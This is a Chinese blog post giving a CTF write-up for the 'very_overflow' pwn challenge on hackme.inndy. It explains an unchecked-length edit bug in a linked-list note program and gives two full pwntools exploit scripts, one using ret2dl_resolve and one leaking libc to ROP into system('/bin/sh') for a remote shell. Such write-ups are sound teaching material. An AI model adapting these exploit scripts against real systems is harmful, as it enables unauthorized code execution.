hackme inndy pwn veryoverflow writeup

原创

charlie_heng 于 2018-01-02 21:47:51 发布 399 收藏

分类专栏： pwn

本文链接：https://blog.csdn.net/charlie_heng/article/details/78956180

这次是最后一题了，做完这题一定要去复习！！！！（立了个flag。。。

这题有两种思路做，第一种是return2dl_resolve 第二种是泄漏libc，rop运行system('/bin/sh')

因为想完美一点，所以一开始写的是第一种，写完了，在本地get到shell了，连到服务器，结果不行，一看，栈的地址开头是ff，这个也代表eof。。。不吐槽了，现在来分别说下两种思路是怎么做的

其实两种思路都是rop，而这里怎么rop呢？

因为这是个记事本程序，所以有new note，show note功能

每个note都是用一个单向链表连接，然而，在edit note的时候没有检查长度，所以能溢出修改下一个note的指针，这样就造成了任意内存写和任意内存读了

第一种思路

因为这题没有read，所以要泄漏FILE *stdin，但是FILE *stdin所在的内存没有两个连续有内容的内存连着，所以要先往FILE *stdin前面写点东西，然后再读

读完了之后，rop调用 fget(bss+0x900, 0x128, stdin) 然后在bss+0x900处放上dl_resolve_data
然后rop调用dl_resolve_call(bss+0x920,bss+0x900)

第二种思路

直接泄漏got表中的内容，然后求出基址，rop调用system('/bin/sh')

第一种思路代码

```
from pwn import *
import roputils as rp

#p=process('./very_overflow')
p=remote('hackme.inndy.tw', 7705)
rop=rp.ROP('./very_overflow')
e=ELF('./very_overflow')
context.log_level='debug'
#gdb.attach(proc.pidof(p)[0])
bss=e.bss()+0x900
#raw_input()


def add_note(content):
```

```
    p.sendline('1')
    p.recvuntil('Input your note: ')
    p.sendline(content)
    p.recvuntil('Your action: ')

def edit_note(index,content):
    p.sendline('2')
    p.recvuntil('Which note to edit: ')
    p.sendline(str(index))
    p.recvuntil('Your new data: ')
    p.sendline(content)
    p.recvuntil('Your action: ')

def show_note(index,sw=0):
    p.sendline('3')
    p.recvuntil('Which note to show: ')
    p.sendline(str(index))
    p.recvuntil('Next note: ')
    addr=p.recvuntil('\n')[:-1]
    p.recvuntil('Note data: ')
    data=p.recvuntil('\n')[:-1]
    p.recvuntil('Your action: ')
    if sw==0:
        return addr
    else:
        return data

def exit_note():
    p.sendline('5')

add_note('1234')
stack=show_note(0)
print(stack)
stack=int(stack,16)
rop_addr=stack+0x4202
stdin=0x804A040-8

edit_note(0,'1'*6+p32(stdin))

edit_note(2,'a')

edit_note(0,'1'*6+p32(stdin+4))
data=show_note(2,1)[:4]
import struct

stdin_f=struct.unpack('<L',data)[0]
print(hex(stdin_f))


edit_note(0,'1'*6+p32(rop_addr))

payload=rop.call('fgets',bss,0x100,stdin_f)
payload+=rop.dl_resolve_call(bss+0x20,bss)

edit_note(2,payload)

bss_data='/bin/sh\x00'
bss_data += rop.fill(0x20,bss_data)
bss_data += rop.dl_resolve_data(bss+0x20,'system')
```

```
exit_note()
time.sleep(1)
p.sendline(bss_data)

p.interactive()
```

第二种思路代码

```
from pwn import *

debug=0
if debug:
    p=process('./very_overflow')
    context.log_level='debug'
    e=ELF('/lib/i386-linux-gnu/libc.so.6')
    #gdb.attach(proc.pidof(p)[0])
    #raw_input()
else:
    context.log_level='debug'
    p=remote('hackme.inndy.tw',7705)
    e=ELF('./libc.so')


def add_note(content):
    p.sendline('1')
    p.recvuntil('Input your note: ')
    p.sendline(content)
    p.recvuntil('Your action: ')

def edit_note(index,content):
    p.sendline('2')
    p.recvuntil('Which note to edit: ')
    p.sendline(str(index))
    p.recvuntil('Your new data: ')
    p.sendline(content)
    p.recvuntil('Your action: ')

def show_note(index,sw=0):
    p.sendline('3')
    p.recvuntil('Which note to show: ')
    p.sendline(str(index))
    p.recvuntil('Next note: ')
    addr=p.recvuntil('\n')[:-1]
    p.recvuntil('Note data: ')
    data=p.recvuntil('\n')[:-1]
    p.recvuntil('Your action: ')
    if sw==0:
        return addr
    else:
        return data

def exit_note():
    p.sendline('5')

add_note('1234')
stack=show_note(0)
print(stack)
stack=int(stack,16)
ron_addr=stack+0x4202
```

```
rop_addr=stack+0x4101

put_got=0x0804A014

edit_note(0,'1'*6+p32(put_got-4))
data=show_note(2,1)[:4]
import struct

puts=struct.unpack('<L',data)[0]
base=puts-e.symbols['puts']

system=base+e.symbols['system']
binsh=base+e.search('/bin/sh').next()

edit_note(0,'1'*6+p32(rop_addr))

payload=p32(system)+p32(0xdeadbeef)+p32(binsh)

edit_note(2,payload)

exit_note()

p.interactive()
```